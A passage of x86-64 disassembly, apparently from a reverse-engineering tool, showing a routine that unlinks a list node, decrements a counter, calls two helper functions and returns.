mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400380e9
cmp qword [rcx + rdx*8], rdi
jne 0x1400380e9
mov rax, qword [rdi]
mov qword [rcx + rdx*8], rax
mov rax, qword [rdi + 8]
mov rcx, r9
mov rbx, qword [rdi]
mov qword [rax], rbx
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
dec qword [r8 + 0x10]
call fcn.1400331f0
mov rcx, rdi
call fcn.140261814
mov qword [rsi], rbx
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret